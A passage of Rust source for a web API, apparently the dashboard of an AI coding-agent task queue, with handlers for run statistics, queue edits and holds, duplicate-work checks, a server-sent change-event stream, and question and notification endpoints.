4504 let task = ui
4505 .queue
4506 .get(&id)
4507 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4508 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4509 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4510 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4511 let max_attempts = daemon::Opts::default().max_attempts;
4512 let flow = task_flow(&task, &history, max_attempts);
4513 Ok(Json(TaskDetailView {
4514 max_attempts,
4515 flow,
4516 history,
4517 runs_unreadable,
4518 attempts_note: ATTEMPTS_NOTE,
4519 task: TaskView::with_inventory(task, &inv),
4520 }))
4521 })
4522 .await
4523}
4524
4525#[derive(Debug, Serialize)]
4529struct RateView {
4530 pct: f64,
4531 denominator: usize,
4532}
4533
4534impl RateView {
4535 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4536 (denominator > 0).then(|| Self {
4537 pct: 100.0 * numerator as f64 / denominator as f64,
4538 denominator,
4539 })
4540 }
4541}
4542
4543#[derive(Debug, Serialize)]
4548struct StatsTotalsView {
4549 runs: usize,
4550 merged: usize,
4551 ready: usize,
4552 blocked: usize,
4553 failed: usize,
4554 stalled: usize,
4555 verified_noop: usize,
4556 superseded: usize,
4557 in_progress: usize,
4558 completion_rate: Option<RateView>,
4559 tallied: usize,
4560 split: usize,
4561 split_rate: Option<RateView>,
4562 deliberated: usize,
4563 minds_changed: usize,
4564 converged: usize,
4565 review_rounds: usize,
4566}
4567
4568impl From<&stats::Totals> for StatsTotalsView {
4569 fn from(t: &stats::Totals) -> Self {
4570 Self {
4571 runs: t.runs,
4572 merged: t.merged,
4573 ready: t.ready,
4574 blocked: t.blocked,
4575 failed: t.failed,
4576 stalled: t.stalled,
4577 verified_noop: t.verified_noop,
4578 superseded: t.superseded,
4579 in_progress: t.in_progress,
4580 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4581 tallied: t.tallied,
4582 split: t.split,
4583 split_rate: RateView::of(t.split, t.tallied),
4584 deliberated: t.deliberated,
4585 minds_changed: t.minds_changed,
4586 converged: t.converged,
4587 review_rounds: t.review_rounds,
4588 }
4589 }
4590}
4591
4592#[derive(Debug, Serialize)]
4594struct AgentStatsView {
4595 agent: String,
4596 entered: usize,
4597 wins: usize,
4598 empty: usize,
4599 win_rate: Option<RateView>,
4600}
4601
4602impl From<&stats::AgentStats> for AgentStatsView {
4603 fn from(a: &stats::AgentStats) -> Self {
4604 Self {
4605 agent: a.agent.clone(),
4606 entered: a.entered,
4607 wins: a.wins,
4608 empty: a.empty,
4609 win_rate: RateView::of(a.wins, a.entered),
4610 }
4611 }
4612}
4613
4614#[derive(Debug, Serialize)]
4618struct ReviewerStatsView {
4619 agent: String,
4620 rounds: usize,
4621 seated: usize,
4622 submitted: usize,
4623 adopted: usize,
4624 unique: usize,
4625 timeouts: usize,
4626 adopted_per_round: Option<f64>,
4627 precision: Option<RateView>,
4628 unique_rate: Option<RateView>,
4629 timeout_rate: Option<RateView>,
4630}
4631
4632impl From<&stats::ReviewerStats> for ReviewerStatsView {
4633 fn from(r: &stats::ReviewerStats) -> Self {
4634 Self {
4635 agent: r.agent.clone(),
4636 rounds: r.rounds,
4637 seated: r.seated,
4638 submitted: r.submitted,
4639 adopted: r.adopted,
4640 unique: r.unique,
4641 timeouts: r.timeouts,
4642 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4643 precision: RateView::of(r.adopted, r.submitted),
4644 unique_rate: RateView::of(r.unique, r.submitted),
4645 timeout_rate: RateView::of(r.timeouts, r.seated),
4646 }
4647 }
4648}
4649
4650#[derive(Debug, Serialize)]
4656struct AdvisorStatsView {
4657 agent: String,
4658 seated: usize,
4659 proposed: usize,
4660 absent: usize,
4661 faint: usize,
4662 strong: usize,
4663 reflection_rate: Option<RateView>,
4664}
4665
4666impl From<&stats::AdvisorStats> for AdvisorStatsView {
4667 fn from(a: &stats::AdvisorStats) -> Self {
4668 Self {
4669 agent: a.agent.clone(),
4670 seated: a.seated,
4671 proposed: a.proposed,
4672 absent: a.absent,
4673 faint: a.faint,
4674 strong: a.strong,
4675 reflection_rate: RateView::of(a.strong, a.proposed),
4676 }
4677 }
4678}
4679
4680#[derive(Debug, Serialize)]
4682struct E2eStatsView {
4683 rounds: usize,
4684 failures: usize,
4685 sole_detections: usize,
4686 deferred: usize,
4687 sole_rate: Option<RateView>,
4688}
4689
4690impl From<&stats::E2eStats> for E2eStatsView {
4691 fn from(e: &stats::E2eStats) -> Self {
4692 Self {
4693 rounds: e.rounds,
4694 failures: e.failures,
4695 sole_detections: e.sole_detections,
4696 deferred: e.deferred,
4697 sole_rate: RateView::of(e.sole_detections, e.failures),
4698 }
4699 }
4700}
4701
4702#[derive(Debug, Serialize)]
4710struct ReleaseBumpStatsView {
4711 merged: usize,
4712 recorded: usize,
4713 pr_opened: usize,
4714 automerge_enabled: usize,
4715 merged_directly: usize,
4716 needs_attention: usize,
4717 clean: usize,
4718 coverage_rate: Option<RateView>,
4719 automerge_rate: Option<RateView>,
4720 attention_rate: Option<RateView>,
4721}
4722
4723impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4724 fn from(b: &stats::ReleaseBumpStats) -> Self {
4725 Self {
4726 merged: b.merged,
4727 recorded: b.recorded,
4728 pr_opened: b.pr_opened,
4729 automerge_enabled: b.automerge_enabled,
4730 merged_directly: b.merged_directly,
4731 needs_attention: b.needs_attention,
4732 clean: b.clean(),
4733 coverage_rate: RateView::of(b.recorded, b.merged),
4734 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4735 attention_rate: RateView::of(b.needs_attention, b.recorded),
4736 }
4737 }
4738}
4739
4740#[derive(Debug, Serialize)]
4742struct TaskCountsView {
4743 queued: usize,
4744 running: usize,
4745 done: usize,
4746 failed: usize,
4747 held: usize,
4748 blocked: usize,
4749}
4750
4751impl From<crate::queue::TaskCounts> for TaskCountsView {
4752 fn from(c: crate::queue::TaskCounts) -> Self {
4753 Self {
4754 queued: c.queued,
4755 running: c.running,
4756 done: c.done,
4757 failed: c.failed,
4758 held: c.held,
4759 blocked: c.blocked,
4760 }
4761 }
4762}
4763
4764#[derive(Debug, Serialize)]
4770struct RepoSummaryView {
4771 repo: String,
4774 name: String,
4776 runs: usize,
4777 completion_rate: Option<RateView>,
4778}
4779
4780impl From<&stats::RepoStats> for RepoSummaryView {
4781 fn from(r: &stats::RepoStats) -> Self {
4782 let t = &r.stats.totals;
4783 Self {
4784 repo: r.repo.to_string_lossy().into_owned(),
4785 name: r.name.clone(),
4786 runs: t.runs,
4787 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4788 }
4789 }
4790}
4791
4792#[derive(Debug, Serialize)]
4798struct StatsView {
4799 totals: StatsTotalsView,
4800 agents: Vec<AgentStatsView>,
4802 reviewers: Vec<ReviewerStatsView>,
4804 advisors: Vec<AdvisorStatsView>,
4806 e2e: E2eStatsView,
4807 release_bumps: ReleaseBumpStatsView,
4808 queue: TaskCountsView,
4809 runs_unreadable: usize,
4819 repos: Vec<RepoSummaryView>,
4823 daily: Vec<DailyStatsView>,
4828 repo: Option<String>,
4832}
4833
4834#[derive(Debug, Serialize)]
4836struct DailyStatsView {
4837 date: String,
4839 runs: usize,
4840 merged: usize,
4841 ready: usize,
4842 other: usize,
4843 completion_rate: Option<RateView>,
4845}
4846
4847impl From<&stats::DayBucket> for DailyStatsView {
4848 fn from(b: &stats::DayBucket) -> Self {
4849 Self {
4850 date: b.date.to_string(),
4851 runs: b.runs,
4852 merged: b.merged,
4853 ready: b.ready,
4854 other: b.other,
4855 completion_rate: RateView::of(b.merged + b.ready, b.runs),
4856 }
4857 }
4858}
4859
4860const STATS_DAILY_DAYS: usize = 30;
4862
4863#[derive(Debug, Default, Deserialize)]
4872#[serde(default)]
4873struct StatsQuery {
4874 repo: Option<String>,
4875}
4876
4877async fn stats_get(
4884 State(ui): State<Arc<Ui>>,
4885 Query(q): Query<StatsQuery>,
4886) -> ApiResult<Json<StatsView>> {
4887 blocking(move || {
4888 let states: Vec<RunState> = run_ids(&ui.runs)
4889 .into_iter()
4890 .filter_map(|id| read_run(&ui.runs, &id).ok())
4891 .collect();
4892 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4893 .iter()
4894 .map(RepoSummaryView::from)
4895 .collect();
4896 let mut scoped: Vec<&RunState> = states.iter().collect();
4897 let collected = match &q.repo {
4898 Some(repo) => {
4899 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4900 if filtered.is_empty() {
4901 return Err(ApiError::not_found(format!(
4902 "no runs recorded against repo `{repo}`"
4903 )));
4904 }
4905 scoped = filtered.clone();
4906 stats::collect_refs(filtered)
4907 }
4908 None => stats::collect(&states),
4909 };
4910 let daily = stats::daily(
4911 scoped,
4912 jiff::Zoned::now().date(),
4913 &jiff::tz::TimeZone::system(),
4914 STATS_DAILY_DAYS,
4915 );
4916 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4917 Ok(Json(StatsView {
4918 totals: StatsTotalsView::from(&collected.totals),
4919 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4920 reviewers: collected
4921 .reviewers
4922 .iter()
4923 .map(ReviewerStatsView::from)
4924 .collect(),
4925 advisors: collected
4926 .advisors
4927 .iter()
4928 .map(AdvisorStatsView::from)
4929 .collect(),
4930 e2e: E2eStatsView::from(&collected.e2e),
4931 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4932 queue: TaskCountsView::from(queue_counts),
4933 runs_unreadable: runs_unreadable(&ui.runs),
4934 repos,
4935 daily: daily.iter().map(DailyStatsView::from).collect(),
4936 repo: q.repo.clone(),
4937 }))
4938 })
4939 .await
4940}
4941
4942#[derive(Debug, Default, Deserialize)]
4945#[serde(default, deny_unknown_fields)]
4946struct HoldBody {
4947 reason: Option<String>,
4948}
4949
4950async fn queue_hold(
4951 State(ui): State<Arc<Ui>>,
4952 Path(id): Path<String>,
4953 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4954) -> ApiResult<Json<TaskView>> {
4955 let body = match body {
4959 Ok(Json(body)) => body,
4960 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4961 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4962 };
4963 let reason = body.reason.filter(|r| !r.trim().is_empty());
4964 mutate(ui, id, move |t| {
4965 t.hold_manual(reason.clone());
4966 Ok(())
4967 })
4968 .await
4969}
4970
4971async fn queue_release(
4972 State(ui): State<Arc<Ui>>,
4973 Path(id): Path<String>,
4974) -> ApiResult<Json<TaskView>> {
4975 mutate(ui, id, |t| {
4976 t.release();
4977 Ok(())
4978 })
4979 .await
4980}
4981
4982#[derive(Debug, Deserialize)]
4984#[serde(deny_unknown_fields)]
4985struct PriorityBody {
4986 priority: i32,
4987}
4988
4989async fn queue_priority(
4995 State(ui): State<Arc<Ui>>,
4996 Path(id): Path<String>,
4997 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
4998) -> ApiResult<Json<TaskView>> {
4999 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5000 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5001}
5002
5003#[derive(Debug, Deserialize)]
5005#[serde(deny_unknown_fields)]
5006struct EditBody {
5007 title: String,
5008 instruction: String,
5009 #[serde(default)]
5012 force: bool,
5013}
5014
5015async fn queue_edit(
5019 State(ui): State<Arc<Ui>>,
5020 Path(id): Path<String>,
5021 body: std::result::Result<Json<EditBody>, JsonRejection>,
5022) -> ApiResult<Json<TaskView>> {
5023 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5024 let mut judged: Option<(String, PathBuf)> = None;
5028 if !body.force {
5029 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5030 let (id, text) = (id.clone(), body.instruction.clone());
5031 let (seen, hits) = blocking(move || {
5032 let id = resolve_task(&queue, &id)?;
5033 let t = queue.get(&id)?;
5034 if text == t.instruction {
5035 return Ok((None, Vec::new()));
5036 }
5037 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5038 Ok((Some((t.instruction, t.repo)), hits))
5039 })
5040 .await?;
5041 if let Some((_, repo)) = &seen {
5042 let cfg = crate::config::Config::discover(repo, None)
5043 .ok()
5044 .map(|(c, _)| c);
5045 let screened =
5046 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5047 .await
5048 .map_err(|dup| {
5049 ApiError::conflict(dup.render(
5050 "Nothing was saved. If it is not a duplicate, repeat the request \
5051 with \"force\": true.",
5052 ))
5053 })?;
5054 if let crate::dupes::Screened::Unjudged(why) = screened {
5055 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5056 }
5057 }
5058 judged = seen;
5059 }
5060 let force = body.force;
5061 mutate(ui, id, move |t| {
5062 if !force && body.instruction != t.instruction {
5063 match &judged {
5064 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5065 _ => {
5066 anyhow::bail!("the task changed while it was being checked; repeat the request")
5067 }
5068 }
5069 }
5070 t.edit(body.title.clone(), body.instruction.clone())
5071 })
5072 .await
5073}
5074
5075async fn queue_done(
5083 State(ui): State<Arc<Ui>>,
5084 Path(id): Path<String>,
5085) -> ApiResult<Json<TaskView>> {
5086 let home = ui.home.clone();
5087 mutate(ui, id, move |t| {
5088 t.succeed();
5089 crate::daemon::supersede_prior_runs(t, &home);
5097 Ok(())
5098 })
5099 .await
5100}
5101
5102async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
5110 blocking(move || {
5111 let id = resolve_task(&ui.queue, &id)?;
5112 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
5113 ui.queue
5114 .remove(&id, in_flight, &ui.questions)
5115 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
5116 Ok(StatusCode::NO_CONTENT)
5117 })
5118 .await
5119}
5120
5121async fn mutate(
5130 ui: Arc<Ui>,
5131 id: String,
5132 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
5133) -> ApiResult<Json<TaskView>> {
5134 blocking(move || {
5135 let id = resolve_task(&ui.queue, &id)?;
5136 let _claim = ui.queue.claim(&id).map_err(|e| {
5141 ApiError::conflict(format!(
5142 "{e:#} - a daemon is running this task, so it cannot be \
5143 changed from here yet"
5144 ))
5145 })?;
5146 let mut task = ui.queue.get(&id)?;
5147 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
5148 Ok(dup) => ApiError::conflict(dup.render(
5149 "Nothing was saved. If it is not a duplicate, repeat the request with \
5150 \"force\": true.",
5151 )),
5152 Err(e) => ApiError::bad_request_from(e),
5153 })?;
5154 ui.queue.put(&mut task)?;
5155 Ok(Json(TaskView::from(task)))
5156 })
5157 .await
5158}
5159
5160async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
5168 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
5169 tokio::spawn(async move {
5170 let mut ticker = tokio::time::interval(POLL);
5171 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
5172 let mut stamps: Option<[Stamps; 3]> = None;
5173 loop {
5174 ticker.tick().await;
5177 let state = Arc::clone(&ui);
5178 let revisions = tokio::task::spawn_blocking(move || {
5179 let stamps = [
5180 store_stamps(state.queue.root(), false),
5181 store_stamps(&state.runs, true),
5182 store_stamps(state.talks.root(), false),
5183 ];
5184 let revisions = (
5185 stamps_revision(&stamps[0]),
5186 stamps_revision(&stamps[1]),
5187 state.questions.revision(),
5188 stamps_revision(&stamps[2]),
5189 state.notices.revision(),
5190 state.lock_loop().rev,
5194 );
5195 (revisions, stamps)
5196 })
5197 .await;
5198 let Ok((revisions, next_stamps)) = revisions else {
5199 break;
5200 };
5201 if last == Some(revisions) {
5202 continue;
5203 }
5204 let mut payload = serde_json::json!({
5205 "queue_rev": revisions.0,
5206 "runs_rev": revisions.1,
5207 "questions_rev": revisions.2,
5208 "talks_rev": revisions.3,
5209 "notifications_rev": revisions.4,
5210 "loop_rev": revisions.5,
5211 });
5212 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
5213 for (index, (key, rev)) in [
5214 ("queue_delta", base.0),
5215 ("runs_delta", base.1),
5216 ("talks_delta", base.3),
5217 ]
5218 .into_iter()
5219 .enumerate()
5220 {
5221 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
5222 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
5224 payload[key] = serde_json::to_value(delta).expect("serializable delta");
5225 }
5226 }
5227 }
5228 last = Some(revisions);
5229 stamps = Some(next_stamps);
5230 let Ok(event) = Event::default().event("change").json_data(payload) else {
5232 break;
5233 };
5234 if tx.send(event).await.is_err() {
5235 break;
5236 }
5237 }
5238 });
5239 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
5240 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
5241}
5242
5243type Stamps = HashMap<String, (u128, u64)>;
5244
5245fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5247 std::fs::read_dir(root)
5248 .into_iter()
5249 .flatten()
5250 .flatten()
5251 .filter_map(|entry| {
5252 let path = if runs {
5253 entry.path().join("run.json")
5254 } else {
5255 entry.path()
5256 };
5257 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5258 return None;
5259 }
5260 let metadata = path.metadata().ok()?;
5261 let modified = metadata
5262 .modified()
5263 .ok()?
5264 .duration_since(std::time::UNIX_EPOCH)
5265 .ok()?;
5266 let id = if runs {
5267 entry.file_name().to_string_lossy().into_owned()
5268 } else {
5269 path.file_stem()?.to_string_lossy().into_owned()
5270 };
5271 Some((id, (modified.as_nanos(), metadata.len())))
5272 })
5273 .collect()
5274}
5275
5276#[derive(Debug, Serialize)]
5277struct Delta {
5278 base: u64,
5279 changed: Vec<String>,
5280 removed: Vec<String>,
5281}
5282
5283fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5284 let mut changed: Vec<_> = next
5285 .iter()
5286 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5287 .map(|(id, _)| id.clone())
5288 .collect();
5289 let mut removed: Vec<_> = previous
5290 .keys()
5291 .filter(|id| !next.contains_key(*id))
5292 .cloned()
5293 .collect();
5294 changed.sort_unstable();
5295 removed.sort_unstable();
5296 Delta {
5297 base,
5298 changed,
5299 removed,
5300 }
5301}
5302
5303fn runs_revision(runs: &FsPath) -> u64 {
5310 stamps_revision(&store_stamps(runs, true))
5311}
5312
5313fn stamps_revision(stamps: &Stamps) -> u64 {
5317 use std::hash::{Hash as _, Hasher as _};
5318 if stamps.is_empty() {
5319 return 0;
5320 }
5321 let mut entries: Vec<_> = stamps.iter().collect();
5322 entries.sort_unstable();
5323 let mut hasher = std::hash::DefaultHasher::new();
5324 entries.hash(&mut hasher);
5325 hasher.finish().max(1)
5326}
5327
5328fn run_ids(runs: &FsPath) -> Vec<String> {
5334 let mut ids: Vec<String> = std::fs::read_dir(runs)
5335 .into_iter()
5336 .flatten()
5337 .flatten()
5338 .filter(|e| e.path().join("run.json").is_file())
5339 .map(|e| e.file_name().to_string_lossy().into_owned())
5340 .collect();
5341 ids.sort_unstable_by(|a, b| b.cmp(a));
5343 ids
5344}
5345
5346fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5348 let path = runs.join(id).join("run.json");
5349 let body =
5350 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5351 let state: RunState =
5352 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5353 run::migrate_schema(state)
5358}
5359
5360#[must_use]
5368pub fn runs_unreadable(runs: &FsPath) -> usize {
5369 run_ids(runs)
5370 .into_iter()
5371 .filter(|id| read_run(runs, id).is_err())
5372 .count()
5373}
5374
5375fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5377 if runs.join(id).join("run.json").is_file() {
5378 return Ok(id.to_owned());
5379 }
5380 pick(run_ids(runs), id, "run")
5381}
5382
5383fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5385 if queue.path_of(id).is_file() {
5386 return Ok(id.to_owned());
5387 }
5388 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5389}
5390
5391#[derive(Debug, Serialize)]
5402struct QuestionView {
5403 #[serde(flatten)]
5404 question: Question,
5405 detail_md: Vec<md::Node>,
5406 thread_bodies_md: Vec<Vec<md::Node>>,
5408 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5411 waiting_on_agent: bool,
5421 holder: Option<&'static str>,
5425 deputies_enabled: bool,
5429 run_is_task: bool,
5432 origin_chat: Option<String>,
5437}
5438
5439impl QuestionView {
5440 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5444 let base = md::ImageBase::QuestionPanel {
5445 id: question.id.clone(),
5446 };
5447 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5448 Self {
5449 detail_md: md::to_nodes(&question.detail, &base),
5450 thread_bodies_md: question
5451 .thread
5452 .iter()
5453 .map(|t| md::to_nodes(&t.body, &base))
5454 .collect(),
5455 thread_notes_md: question
5456 .thread
5457 .iter()
5458 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5459 .collect(),
5460 waiting_on_agent: question.waiting_on_agent(),
5461 holder,
5462 deputies_enabled,
5463 run_is_task: question.run_names_task(),
5464 origin_chat: None,
5465 question,
5466 }
5467 }
5468
5469 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5471 self.origin_chat = crate::consult::origin_talk(tasks, talks, &self.question).map(|t| t.id);
5472 self
5473 }
5474}
5475
5476fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5480 Config::discover(repo, None).ok().map(|(c, _)| c)
5481}
5482
5483fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5485 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5486}
5487
5488fn question_views(
5491 qs: Vec<Question>,
5492 store: &ask::Questions,
5493 load: impl FnOnce() -> Option<Config>,
5494) -> Vec<QuestionView> {
5495 if qs.is_empty() {
5496 return Vec::new();
5497 }
5498 let cfg = load();
5499 qs.into_iter()
5500 .map(|q| {
5501 let on = deputies_enabled(cfg.as_ref(), &q);
5502 QuestionView::of(q, store, on)
5503 })
5504 .collect()
5505}
5506
5507fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5517 if !q.status.open() {
5518 return None;
5519 }
5520 if q.cwd.is_none() && q.deputy.is_none() {
5521 return crate::deputy::kind_of(q).map(|_| "nobody");
5522 }
5523 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5524 Some(_) if q.deputy.is_some() => "deputy",
5525 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5526 Some(_) => "asker",
5527 None => "nobody",
5528 })
5529}
5530
5531async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5537 blocking(move || {
5538 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5539 Ok(Json(
5540 question_views(ui.questions.list(), &ui.questions, || {
5541 deputy_config(&ui.repo)
5542 })
5543 .into_iter()
5544 .map(|v| v.with_origin(&tasks, &talks))
5545 .collect(),
5546 ))
5547 })
5548 .await
5549}
5550
5551async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5554 blocking(move || {
5555 let items = ui.notices.list();
5556 let unread = items.iter().filter(|n| n.unread()).count();
5557 Ok(Json(
5558 serde_json::json!({ "unread": unread, "items": items }),
5559 ))
5560 })
5561 .await
5562}
5563
5564fn notice_error(e: anyhow::Error) -> ApiError {
5565 ApiError::not_found(format!("{e:#}"))
5568}
5569
5570async fn notification_read(
5572 State(ui): State<Arc<Ui>>,
5573 Path(id): Path<String>,
5574) -> ApiResult<Json<Notice>> {
5575 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5576}
5577
5578async fn notification_dismiss(
5580 State(ui): State<Arc<Ui>>,
5581 Path(id): Path<String>,
5582) -> ApiResult<Json<Notice>> {
5583 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5584}
5585
5586async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5588 blocking(move || {
5589 let changed = ui.notices.mark_all_read()?;
5590 Ok(Json(serde_json::json!({ "marked": changed })))
5591 })
5592 .await
5593}
5594
5595#[derive(Debug, Default, Deserialize)]
5601#[serde(default, deny_unknown_fields)]
5602struct NewAnswer {
5603 choice: Option<String>,
5604 text: Option<String>,
5605}
5606
5607async fn question_answer(
5608 State(ui): State<Arc<Ui>>,
5609 Path(id): Path<String>,
5610 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5611) -> ApiResult<Json<QuestionView>> {
5612 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5613 let answer = match (body.choice, body.text) {
5614 (Some(c), None) => Answer::Choice(c),
5615 (None, Some(t)) => Answer::Text(t),
5616 (Some(_), Some(_)) => {
5617 return Err(ApiError::bad_request(
5618 "send either `choice` or `text`, not both",
5619 ));
5620 }
5621 (None, None) => {
5622 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5623 }
5624 };
5625
5626 blocking(move || {
5627 let id = resolve_question(&ui.questions, &id)?;
5628 let q = ui
5629 .questions
5630 .get(&id)
5631 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5632 if !q.status.open() {
5633 return Err(ApiError::conflict(format!(
5637 "question {} is already {}",
5638 q.short(),
5639 q.status.as_str()
5640 )));
5641 }
5642 let (q, ()) = ui
5646 .questions
5647 .update(&q.id, |r| r.answer(answer))
5648 .map_err(ApiError::bad_request_from)?;
5649 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5650 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5651 Ok(Json(
5652 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5653 ))
5654 })
5655 .await
5656}
5657
5658#[derive(Debug, Deserialize)]
5660#[serde(deny_unknown_fields)]
5661struct NewSay {
5662 body: String,
5663}
5664
5665async fn question_say(
5675 State(ui): State<Arc<Ui>>,
5676 Path(id): Path<String>,
5677 body: std::result::Result<Json<NewSay>, JsonRejection>,
5678) -> ApiResult<Json<QuestionView>> {
5679 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5680 blocking(move || {
5681 let id = resolve_question(&ui.questions, &id)?;
5682 let q = ui
5683 .questions
5684 .get(&id)
5685 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5686 if !q.status.open() {
5687 return Err(ApiError::conflict(format!(
5691 "question {} is already {}",
5692 q.short(),
5693 q.status.as_str()
5694 )));
5695 }
5696 let (q, ()) = ui
5699 .questions
5700 .update(&q.id, |r| r.say(body.body))
5701 .map_err(ApiError::bad_request_from)?;
5702 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5703 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5704 Ok(Json(
5705 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5706 ))
5707 })
5708 .await
5709}
5710
5711async fn question_consult(
5720 State(ui): State<Arc<Ui>>,
5721 Path(id): Path<String>,
5722) -> ApiResult<(StatusCode, Json<QuestionView>)> {
5723 let (view, reclaimed) = blocking({
5724 let ui = Arc::clone(&ui);
5725 move || {
5726 let id = resolve_question(&ui.questions, &id)?;
5727 let q = ui
5728 .questions
5729 .get(&id)
5730 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5731 if !q.status.open() {
5732 return Err(ApiError::conflict(format!(
5733 "question {} is already {}",
5734 q.short(),
5735 q.status.as_str()
5736 )));
5737 }
5738 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5739 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
5740 return Err(ApiError::conflict(format!(
5741 "question {} has no open chat to ask",
5742 q.short()
5743 )));
5744 };
5745 let cfg = if q.consult.is_none() {
5749 Some(Config::discover(&talk.repo, None)?.0)
5750 } else {
5751 None
5752 };
5753 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
5754 let claim = if fresh {
5755 match ui.begin_queued_talk_turn(&talk.id)? {
5756 Some(turn_guard) => {
5757 let talk = ui.talks.get(&talk.id)?;
5758 let cfg = match cfg {
5759 Some(cfg) => cfg,
5760 None => Config::discover(&talk.repo, None)?.0,
5761 };
5762 Some((talk, cfg, turn_guard))
5763 }
5764 None => None,
5765 }
5766 } else {
5767 None
5768 };
5769 let q = ui.questions.get(&q.id)?;
5770 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5771 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
5772 Ok((view, claim))
5773 }
5774 })
5775 .await?;
5776 if let Some((talk, cfg, turn_guard)) = reclaimed {
5777 let talks = ui.talks.clone();
5778 let id = talk.id.clone();
5779 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5780 }
5781 Ok((StatusCode::ACCEPTED, Json(view)))
5782}
5783
5784fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
5786 if store.path_of(id).is_file() {
5787 return Ok(id.to_owned());
5788 }
5789 pick(
5790 store.list().into_iter().map(|q| q.id).collect(),
5791 id,
5792 "question",
5793 )
5794}
5795
5796async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
5811 blocking(move || {
